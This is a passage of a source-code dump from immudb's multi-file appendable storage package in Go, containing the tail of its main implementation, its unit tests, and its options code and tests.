{\n\t\t\t\treturn off, n, err\n\t\t\t}\n\n\t\t\tavailable = mf.fileSize\n\t\t}\n\n\t\tvar d int\n\n\t\tif mf.currApp.CompressionFormat() == appendable.NoCompression {\n\t\t\td = minInt(available, len(bs)-n)\n\t\t} else {\n\t\t\td = len(bs) - n\n\t\t}\n\n\t\toffn, _, err := mf.currApp.Append(bs[n : n+d])\n\t\tif err != nil {\n\t\t\treturn off, n, err\n\t\t}\n\n\t\tif n == 0 {\n\t\t\toff = offn + mf.currAppID*int64(mf.fileSize)\n\t\t}\n\n\t\tn += d\n\t}\n\n\treturn\n}\n\nfunc (mf *MultiFileAppendable) openAppendable(appname string, createIfNotExists, activeChunk bool) (appendable.Appendable, error) {\n\tappendableOpts := singleapp.DefaultOptions().\n\t\tWithReadOnly(mf.readOnly).\n\t\tWithRetryableSync(mf.retryableSync).\n\t\tWithAutoSync(mf.autoSync).\n\t\tWithFileMode(mf.fileMode).\n\t\tWithCreateIfNotExists(createIfNotExists).\n\t\tWithReadBufferSize(mf.readBufferSize).\n\t\tWithCompressionFormat(mf.currApp.CompressionFormat()).\n\t\tWithCompresionLevel(mf.currApp.CompressionLevel()).\n\t\tWithMetadata(mf.currApp.Metadata())\n\n\tif mf.prealloc {\n\t\tappendableOpts.WithPreallocSize(mf.fileSize)\n\t}\n\n\tif activeChunk && !mf.readOnly {\n\t\tappendableOpts.WithWriteBuffer(mf.writeBuffer)\n\t}\n\n\treturn mf.hooks.OpenAppendable(appendableOpts, appname, activeChunk)\n}\n\nfunc (mf *MultiFileAppendable) Offset() int64 {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\treturn mf.offset()\n}\n\nfunc (mf *MultiFileAppendable) offset() int64 {\n\treturn mf.currAppID*int64(mf.fileSize) + mf.currApp.Offset()\n}\n\nfunc (mf *MultiFileAppendable) SetOffset(off int64) error {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif mf.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\tcurrOffset := mf.offset()\n\n\tif off > currOffset {\n\t\treturn fmt.Errorf(\"%w: provided offset %d is bigger than current one %d\", ErrIllegalArguments, off, currOffset)\n\t}\n\n\tif off == currOffset {\n\t\treturn nil\n\t}\n\n\tappID := appendableID(off, mf.fileSize)\n\n\t// given the new offset is lower than the current one, it means\n\t// either appID ==  mf.currAppID or appID < mf.currAppID must hold\n\n\tif mf.currAppID != appID {\n\n\t\t// Head might have moved back, this means that all\n\t\t// chunks that follow are no longer valid (will be overwritten anyway).\n\t\t// We also must flush / close current chunk since it will be reopened.\n\t\tfor id := appID; id < mf.currAppID; id++ {\n\t\t\tapp, err := mf.appendables.Pop(id)\n\t\t\tif errors.Is(err, cache.ErrKeyNotFound) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = app.Close()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// close current appendable as it's not present in the cache\n\t\terr := mf.currApp.Close()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tapp, err := mf.openAppendable(appendableName(appID, mf.fileExt), false, true)\n\t\tif err != nil {\n\t\t\tif os.IsNotExist(err) {\n\t\t\t\treturn io.EOF\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\tmf.currAppID = appID\n\t\tmf.currApp = app\n\t}\n\n\treturn mf.currApp.SetOffset(off % int64(mf.fileSize))\n}\n\nfunc (mf *MultiFileAppendable) DiscardUpto(off int64) error {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif mf.offset() < off {\n\t\treturn fmt.Errorf(\"%w: discard beyond existent data boundaries\", ErrIllegalArguments)\n\t}\n\n\tappID := appendableID(off, mf.fileSize)\n\n\tvar dirSyncNeeded bool\n\n\tfor i := int64(0); i < appID; i++ {\n\t\tif i == mf.currAppID {\n\t\t\tbreak\n\t\t}\n\n\t\tapp, err := mf.appendables.Pop(i)\n\t\tif err == nil {\n\t\t\terr = app.Close()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tappFile := filepath.Join(mf.path, appendableName(i, mf.fileExt))\n\t\terr = os.Remove(appFile)\n\t\tif err != nil && !os.IsNotExist(err) {\n\t\t\treturn err\n\t\t}\n\n\t\tdirSyncNeeded = true\n\t}\n\n\tif dirSyncNeeded {\n\t\terr := fileutils.SyncDir(mf.path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (mf *MultiFileAppendable) appendableFor(off int64) (appendable.Appendable, error) {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tappID := appendableID(off, mf.fileSize)\n\n\tif appID == mf.currAppID {\n\t\tmetricsCacheHit.Inc()\n\t\treturn mf.currApp, nil\n\t}\n\n\tapp, err := mf.appendables.Get(appID)\n\n\tif err != nil {\n\t\tif !errors.Is(err, cache.ErrKeyNotFound) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmetricsCacheMiss.Inc()\n\n\t\tapp, err = mf.openAppendable(appendableName(appID, mf.fileExt), false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t_, ejectedApp, err := mf.appendables.Put(appID, app)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif ejectedApp != nil {\n\t\t\tmetricsCacheEvicted.Inc()\n\t\t\terr = ejectedApp.Close()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t} else {\n\t\tmetricsCacheHit.Inc()\n\t}\n\n\treturn app, nil\n}\n\nfunc (mf *MultiFileAppendable) ReadAt(bs []byte, off int64) (int, error) {\n\tif len(bs) == 0 {\n\t\treturn 0, ErrIllegalArguments\n\t}\n\n\tmetricsReads.Inc()\n\n\tr := 0\n\n\tfor r < len(bs) {\n\t\toffr := off + int64(r)\n\n\t\tapp, err := mf.appendableFor(offr)\n\t\tif err != nil {\n\t\t\tmetricsReadBytes.Add(float64(r))\n\n\t\t\tif os.IsNotExist(err) {\n\t\t\t\treturn r, io.EOF\n\t\t\t}\n\n\t\t\tmetricsReadErrors.Inc()\n\t\t\treturn r, err\n\t\t}\n\n\t\trn, err := app.ReadAt(bs[r:], offr%int64(mf.fileSize))\n\t\tr += rn\n\n\t\tif errors.Is(err, io.EOF) {\n\t\t\tif rn > 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tmetricsReadBytes.Add(float64(r))\n\t\t\treturn r, err\n\t\t}\n\n\t\tif err != nil {\n\t\t\tmetricsReadBytes.Add(float64(r))\n\t\t\tmetricsReadErrors.Inc()\n\t\t\treturn r, err\n\t\t}\n\t}\n\n\tmetricsReadBytes.Add(float64(r))\n\treturn r, nil\n}\n\nfunc (mf *MultiFileAppendable) SwitchToReadOnlyMode() error {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif mf.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\t// only current appendable needs to be switched to read-only mode\n\terr := mf.currApp.SwitchToReadOnlyMode()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmf.writeBuffer = nil\n\tmf.readOnly = true\n\n\treturn nil\n}\n\nfunc (mf *MultiFileAppendable) Flush() error {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif mf.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\treturn mf.currApp.Flush()\n}\n\nfunc (mf *MultiFileAppendable) Sync() error {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif mf.readOnly {\n\t\treturn ErrReadOnly\n\t}\n\n\treturn mf.sync()\n}\n\nfunc (mf *MultiFileAppendable) sync() error {\n\t// sync is only needed in the current appendable:\n\t// - with retryable sync, non-active appendables were already synced\n\t// - with non-retryable sync, data may be lost in previous flush or sync calls\n\treturn mf.currApp.Sync()\n}\n\nfunc (mf *MultiFileAppendable) Close() error {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\n\tif mf.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tmf.closed = true\n\n\terr := mf.appendables.Apply(func(k int64, v appendable.Appendable) error {\n\t\treturn v.Close()\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn mf.currApp.Close()\n}\n\nfunc (mf *MultiFileAppendable) CurrApp() (appendable.Appendable, int64) {\n\tmf.mutex.Lock()\n\tdefer mf.mutex.Unlock()\n\treturn mf.currApp, mf.currAppID\n}\n\nfunc (mf *MultiFileAppendable) ReplaceCachedChunk(appID int64, app appendable.Appendable) (appendable.Appendable, error) {\n\treturn mf.appendables.Replace(appID, app)\n}\n\nfunc minInt(a, b int) int {\n\tif a <= b {\n\t\treturn a\n\t}\n\treturn b\n}\n"
  },
  {
    "path": "embedded/appendable/multiapp/multi_app_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multiapp\n\nimport (\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/singleapp\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMultiApp(t *testing.T) {\n\tmd := appendable.NewMetadata(nil)\n\tmd.PutInt(\"mkey1\", 1)\n\n\ta, err := Open(filepath.Join(t.TempDir(), \"multiapp\"), DefaultOptions().WithMetadata(md.Bytes()))\n\trequire.NoError(t, err)\n\n\tsz, err := a.Size()\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), sz)\n\n\trequire.Equal(t, appendable.DefaultCompressionFormat, a.CompressionFormat())\n\trequire.Equal(t, appendable.DefaultCompressionLevel, a.CompressionLevel())\n\n\terr = a.SetOffset(0)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, int64(0), a.Offset())\n\n\tmkey1, found := appendable.NewMetadata(a.Metadata()).GetInt(\"mkey1\")\n\trequire.True(t, found)\n\trequire.Equal(t, 1, mkey1)\n\n\t_, _, err = a.Append(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = a.Append([]byte{})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\toff, n, err := a.Append([]byte{0})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\trequire.Equal(t, 1, n)\n\n\toff, n, err = a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(1), off)\n\trequire.Equal(t, 3, n)\n\n\toff, n, err = a.Append([]byte{4, 5, 6, 7, 8, 9, 10})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(4), off)\n\trequire.Equal(t, 7, n)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\tbs := make([]byte, 4)\n\tn, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 4, n)\n\trequire.Equal(t, []byte{0, 1, 2, 3}, bs)\n\n\tbs = make([]byte, 4)\n\tn, err = a.ReadAt(bs, 7)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 4, n)\n\trequire.Equal(t, []byte{7, 8, 9, 10}, bs)\n\n\terr = a.Sync()\n\trequire.NoError(t, err)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestMultiApOffsetAndCacheEviction(t *testing.T) {\n\ta, err := Open(t.TempDir(), DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(1))\n\trequire.NoError(t, err)\n\n\toff, n, err := a.Append([]byte{0, 1, 2, 3, 4, 5, 6, 7})\n\trequire.NoError(t, err)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\terr = a.SetOffset(0)\n\trequire.NoError(t, err)\n\n\t_, _, err = a.Append([]byte{7, 6, 5, 4, 3, 2, 1, 0})\n\trequire.NoError(t, err)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\tb := make([]byte, n)\n\t_, err = a.ReadAt(b, off)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, []byte{7, 6, 5, 4, 3, 2, 1, 0}, b)\n}\n\nfunc TestMultiAppClosedAndDeletedFiles(t *testing.T) {\n\tpath := t.TempDir()\n\n\ta, err := Open(path, DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(1))\n\trequire.NoError(t, err)\n\n\t_, n, err := a.Append([]byte{0, 1, 2, 3, 4, 5, 6, 7})\n\trequire.NoError(t, err)\n\n\terr = a.appendables.Apply(func(k int64, v appendable.Appendable) error {\n\t\treturn v.Close()\n\t})\n\trequire.NoError(t, err)\n\n\terr = a.Close()\n\trequire.ErrorIs(t, err, singleapp.ErrAlreadyClosed)\n\n\tfname := filepath.Join(a.path, appendableName(0, a.fileExt))\n\tos.Remove(fname)\n\n\ta, err = Open(path, DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(1))\n\trequire.NoError(t, err)\n\n\tb := make([]byte, n)\n\t_, err = a.ReadAt(b, 0)\n\trequire.ErrorIs(t, err, io.EOF)\n}\n\nfunc TestMultiAppClosedFiles(t *testing.T) {\n\ta, err := Open(t.TempDir(), DefaultOptions().WithFileSize(1).WithMaxOpenedFiles(2))\n\trequire.NoError(t, err)\n\n\t_, _, err = a.Append([]byte{0, 1, 2})\n\trequire.NoError(t, err)\n\n\terr = a.appendables.Apply(func(k int64, v appendable.Appendable) error {\n\t\treturn v.Close()\n\t})\n\trequire.NoError(t, err)\n\n\t_, _, err = a.Append([]byte{3, 4, 5})\n\trequire.ErrorIs(t, err, singleapp.ErrAlreadyClosed)\n}\n\nfunc TestMultiAppReOpening(t *testing.T) {\n\tpath := t.TempDir()\n\n\ta, err := Open(path, DefaultOptions().WithFileSize(1))\n\trequire.NoError(t, err)\n\n\toff, n, err := a.Append([]byte{1, 2})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\trequire.Equal(t, 2, n)\n\n\toff, n, err = a.Append([]byte{3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(2), off)\n\trequire.Equal(t, 1, n)\n\n\tcopyPath := t.TempDir()\n\n\terr = a.Copy(copyPath)\n\trequire.NoError(t, err)\n\n\tdefer os.RemoveAll(copyPath)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n\n\ta, err = Open(copyPath, DefaultOptions())\n\trequire.NoError(t, err)\n\n\terr = a.SwitchToReadOnlyMode()\n\trequire.NoError(t, err)\n\n\tsz, err := a.Size()\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(3), sz)\n\n\tbs := make([]byte, 3)\n\tn, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 3, n)\n\trequire.Equal(t, []byte{1, 2, 3}, bs)\n\n\t_, _, err = a.Append([]byte{})\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\t_, _, err = a.Append([]byte{0})\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = a.Flush()\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = a.SwitchToReadOnlyMode()\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = a.Sync()\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestMultiAppEdgeCases(t *testing.T) {\n\tpath := t.TempDir()\n\n\t_, err := Open(path, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = Open(\"multi_app_test.go\", DefaultOptions())\n\trequire.ErrorIs(t, err, ErrorPathIsNotADirectory)\n\n\t_, err = Open(path, DefaultOptions().WithReadOnly(true))\n\trequire.Error(t, err)\n\n\ta, err := Open(path, DefaultOptions())\n\trequire.NoError(t, err)\n\n\t_, err = a.ReadAt(nil, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = a.ReadAt([]byte{}, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = a.Copy(\"multi_app_test.go\")\n\trequire.ErrorContains(t, err, \"not a directory\")\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n\n\t_, err = a.Size()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.Copy(\"copy\")\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.SetOffset(0)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, err = a.Append([]byte{})\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = a.ReadAt(make([]byte, 1), 0)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.Flush()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.SwitchToReadOnlyMode()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.Sync()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestMultiAppCompression(t *testing.T) {\n\tpath := t.TempDir()\n\n\ta, err := Open(path, DefaultOptions().WithCompressionFormat(appendable.ZLibCompression))\n\trequire.NoError(t, err)\n\n\toff, _, err := a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\tbs := make([]byte, 3)\n\t_, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte{1, 2, 3}, bs)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestMultiAppAppendableForCurrentChunk(t *testing.T) {\n\tpath := t.TempDir()\n\n\ta, err := Open(path, DefaultOptions().WithFileSize(10))\n\trequire.NoError(t, err)\n\n\ttestData := []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}\n\n\toff, n, err := a.Append(testData)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 0, off)\n\trequire.EqualValues(t, n, 12)\n\n\tapp, err := a.appendableFor(11)\n\trequire.NoError(t, err)\n\trequire.Equal(t, a.currApp, app)\n}\n\nfunc TestMultiappOpenIncorrectPath(t *testing.T) {\n\ttestfile := filepath.Join(t.TempDir(), \"testfile\")\n\trequire.NoError(t, ioutil.WriteFile(testfile, []byte{}, 0777))\n\n\ta, err := Open(testfile, DefaultOptions())\n\trequire.Error(t, err)\n\trequire.Nil(t, a)\n}\n\nfunc TestMultiappOpenFolderWithBogusFiles(t *testing.T) {\n\tdir := filepath.Join(t.TempDir(), \"test_bogus_dir\")\n\trequire.NoError(t, os.MkdirAll(dir, 0777))\n\trequire.NoError(t, ioutil.WriteFile(filepath.Join(dir, \"bogus_file\"), []byte{}, 0777))\n\n\ta, err := Open(dir, DefaultOptions())\n\trequire.Error(t, err)\n\trequire.Nil(t, a)\n}\n\nfunc TestMultiAppDiscard(t *testing.T) {\n\tdir := t.TempDir()\n\ta, err := Open(dir, DefaultOptions().WithFileSize(1))\n\trequire.NoError(t, err)\n\n\terr = a.DiscardUpto(0)\n\trequire.NoError(t, err)\n\n\terr = a.DiscardUpto(1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\toff0, n0, err := a.Append([]byte{1, 2})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off0)\n\trequire.Equal(t, 2, n0)\n\n\toff1, n1, err := a.Append([]byte{3, 4})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(2), off1)\n\trequire.Equal(t, 2, n1)\n\n\terr = a.DiscardUpto(off0 + int64(n0))\n\trequire.NoError(t, err)\n\n\terr = a.DiscardUpto(off1 + int64(n1))\n\trequire.NoError(t, err)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n\n\terr = a.DiscardUpto(1)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\ta, err = Open(dir, DefaultOptions().WithFileSize(1))\n\trequire.NoError(t, err)\n\n\toff2, n2, err := a.Append([]byte{5})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(4), off2)\n\trequire.Equal(t, 1, n2)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "embedded/appendable/multiapp/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multiapp\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n)\n\nconst DefaultFileSize = 1 << 26 // 64Mb\nconst DefaultMaxOpenedFiles = 10\nconst DefaultFileMode = os.FileMode(0755)\nconst DefaultCompressionFormat = appendable.DefaultCompressionFormat\nconst DefaultCompressionLevel = appendable.DefaultCompressionLevel\nconst DefaultReadBufferSize = 4096\nconst DefaultWriteBufferSize = 4096\n\ntype Options struct {\n\treadOnly       bool\n\treadBufferSize int\n\n\twriteBufferSize int\n\tretryableSync   bool // if retryableSync is enabled, buffer space is released only after a successful sync\n\tautoSync        bool // if autoSync is enabled, sync is called when the buffer is full\n\n\tfileMode          os.FileMode\n\tfileSize          int\n\tprealloc          bool\n\tfileExt           string\n\tmetadata          []byte\n\tmaxOpenedFiles    int\n\tcompressionFormat int\n\tcompressionLevel  int\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\treadOnly:          false,\n\t\tretryableSync:     true,\n\t\tautoSync:          true,\n\t\tfileMode:          DefaultFileMode,\n\t\tfileSize:          DefaultFileSize,\n\t\tfileExt:           \"aof\",\n\t\tmaxOpenedFiles:    DefaultMaxOpenedFiles,\n\t\tcompressionFormat: DefaultCompressionFormat,\n\t\tcompressionLevel:  DefaultCompressionLevel,\n\t\treadBufferSize:    DefaultReadBufferSize,\n\t\twriteBufferSize:   DefaultWriteBufferSize,\n\t}\n}\n\nfunc (opts *Options) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", ErrInvalidOptions)\n\t}\n\n\tif opts.fileSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid fileSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.maxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid maxOpenedFiles\", ErrInvalidOptions)\n\t}\n\n\tif opts.fileExt == \"\" {\n\t\treturn fmt.Errorf(\"%w: invalid fileExt\", ErrInvalidOptions)\n\t}\n\n\tif opts.readBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid readBufferSize\", ErrInvalidOptions)\n\t}\n\n\tif !opts.readOnly && opts.writeBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid writeBufferSize\", ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opt *Options) WithReadOnly(readOnly bool) *Options {\n\topt.readOnly = readOnly\n\treturn opt\n}\n\nfunc (opt *Options) WithRetryableSync(retryableSync bool) *Options {\n\topt.retryableSync = retryableSync\n\treturn opt\n}\n\nfunc (opt *Options) WithAutoSync(autoSync bool) *Options {\n\topt.autoSync = autoSync\n\treturn opt\n}\n\nfunc (opt *Options) WithFileMode(fileMode os.FileMode) *Options {\n\topt.fileMode = fileMode\n\treturn opt\n}\n\nfunc (opt *Options) WithMetadata(metadata []byte) *Options {\n\topt.metadata = metadata\n\treturn opt\n}\n\nfunc (opt *Options) WithFileSize(fileSize int) *Options {\n\topt.fileSize = fileSize\n\treturn opt\n}\n\nfunc (opt *Options) WithFileExt(fileExt string) *Options {\n\topt.fileExt = fileExt\n\treturn opt\n}\n\nfunc (opt *Options) WithMaxOpenedFiles(maxOpenedFiles int) *Options {\n\topt.maxOpenedFiles = maxOpenedFiles\n\treturn opt\n}\n\nfunc (opt *Options) WithCompressionFormat(compressionFormat int) *Options {\n\topt.compressionFormat = compressionFormat\n\treturn opt\n}\n\nfunc (opt *Options) WithCompresionLevel(compressionLevel int) *Options {\n\topt.compressionLevel = compressionLevel\n\treturn opt\n}\n\nfunc (opts *Options) WithReadBufferSize(size int) *Options {\n\topts.readBufferSize = size\n\treturn opts\n}\n\nfunc (opts *Options) WithWriteBufferSize(size int) *Options {\n\topts.writeBufferSize = size\n\treturn opts\n}\n\nfunc (opts *Options) WithPrealloc(prealloc bool) *Options {\n\topts.prealloc = prealloc\n\treturn opts\n}\n\nfunc (opt *Options) GetFileExt() string {\n\treturn opt.fileExt\n}\n\nfunc (opt *Options) GetFileMode() os.FileMode {\n\treturn opt.fileMode\n}\n\nfunc (opts *Options) GetReadBufferSize() int {\n\treturn opts.readBufferSize\n}\n\nfunc (opts *Options) GetWriteBufferSize() int {\n\treturn opts.writeBufferSize\n}\n\nfunc (opts *Options) GetPrealloc() bool {\n\treturn opts.prealloc\n}\n"
  },
  {
    "path": "embedded/appendable/multiapp/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage multiapp\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInvalidOptions(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn    string\n\t\topts *Options\n\t}{\n\t\t{\"nil\", nil},\n\t\t{\"empty\", &Options{}},\n\t\t{\"FileSize\", DefaultOptions().WithFileSize(0)},\n\t\t{\"FileSize\", DefaultOptions().WithFileSize(0)},\n\t\t{\"MaxOpenedFiles\", DefaultOptions().WithMaxOpenedFiles(0)},\n\t\t{\"FileExt\", DefaultOptions().WithFileExt(\"\")},\n\t\t{\"ReadBufferSize\", DefaultOptions().WithReadBufferSize(0)},\n\t\t{\"WriteBufferSize\", DefaultOptions().WithReadOnly(false).WithWriteBufferSize(0)},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\trequire.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions)\n\t\t})\n\t}\n}\n\nfunc TestDefaultOptions(t *testing.T) {\n\trequire.NoError(t, DefaultOptions().Validate())\n}\n\nfunc TestValidOptions(t *testing.T) {\n\topts := &Options{}\n\n\trequire.Equal(t, \"aof\", opts.WithFileExt(\"aof\").fileExt)\n\trequire.Equal(t, \"aof\", opts.WithFileExt(\"aof\").GetFileExt())\n\trequire.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).fileMode)\n\trequire.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).GetFileMode())\n\trequire.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).fileSize)\n\trequire.Equal(t, DefaultMaxOpenedFiles, opts.WithMaxOpenedFiles(DefaultMaxOpenedFiles).maxOpenedFiles)\n\trequire.Equal(t, []byte{}, opts.WithMetadata([]byte{}).metadata)\n\trequire.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).compressionFormat)\n\trequire.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).compressionLevel)\n\n\trequire.True(t, opts.WithRetryableSync(true).retryableSync)\n\trequire.True(t, opts.WithAutoSync(true).autoSync)\n\n\trequire.True(t, opts.WithReadOnly(true).readOnly)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\trequire.Equal(t, DefaultReadBufferSize+1, opts.WithReadBufferSize(DefaultReadBufferSize+1).GetReadBufferSize())\n\trequire.NoError(t, opts.Validate())\n\n\trequire.False(t, opts.WithReadOnly(false).readOnly)\n\trequire.ErrorIs(t, opts.Validate(), ErrInvalidOptions)\n\n\trequire.Equal(t, DefaultWriteBufferSize+2, opts.WithWriteBufferSize(DefaultWriteBufferSize+2).GetWriteBufferSize())\n\trequire.NoError(t, opts.Validate())\n\n\trequire.True(t, opts.WithReadOnly(true).readOnly)\n\trequire.NoError(t, opts.Validate())\n}\n"
  },
  {
    "path": "embedded/appendable/reader.go",
